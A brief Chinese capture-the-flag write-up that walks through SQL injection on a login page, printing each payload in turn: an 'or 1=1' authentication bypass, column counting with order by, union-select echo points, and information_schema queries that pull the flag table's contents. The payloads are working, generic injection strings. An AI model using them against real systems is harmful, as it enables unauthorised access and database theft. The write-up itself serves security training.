本题的题目
看到本题的题目,尝试利用万能钥匙进行SQL注入,首先利用burp抓包(抓的数据包是你输入账号密码进行登录的这个包)
一、在username这里进行万能钥匙的注入
username=-admin'or 1=1 --+&password=admin
发现成功登陆,说明注入成功。
二、这时候利用order by 来判断列数,发现order by 3 是它的列数。
username=-admin'or 1=1 order by 3--+&password=admin
三、接下来利用让它报错显示回显点
-admin'or 1=1 union select 1,2,3 --+
在2处有回显点
四、接下来输入代码显示它的数据库
username=-admin'or 1=1 union select 1,database(),3 --+&password=admin
得知数据库名为web2后,查询数据库中的表名
username=-admin'or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'--+&password=admin
很明显,web2中存在两个表,一个是flag,一个是user。既然我们要找flag,我们可以先查看flag这个表。
这时候我们就要输入
username=-admin'or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2'and table_name='flag'--+&password=admin
来查看flag表中存在的列名,发现列名只有一个是flag的
五、最后我们查看字段值就可以找到flag了。
username=-admin'or 1=1 union select 1,group_concat(flag),3 from flag--+&password=admin
本过程仅供参考,如有错误请指出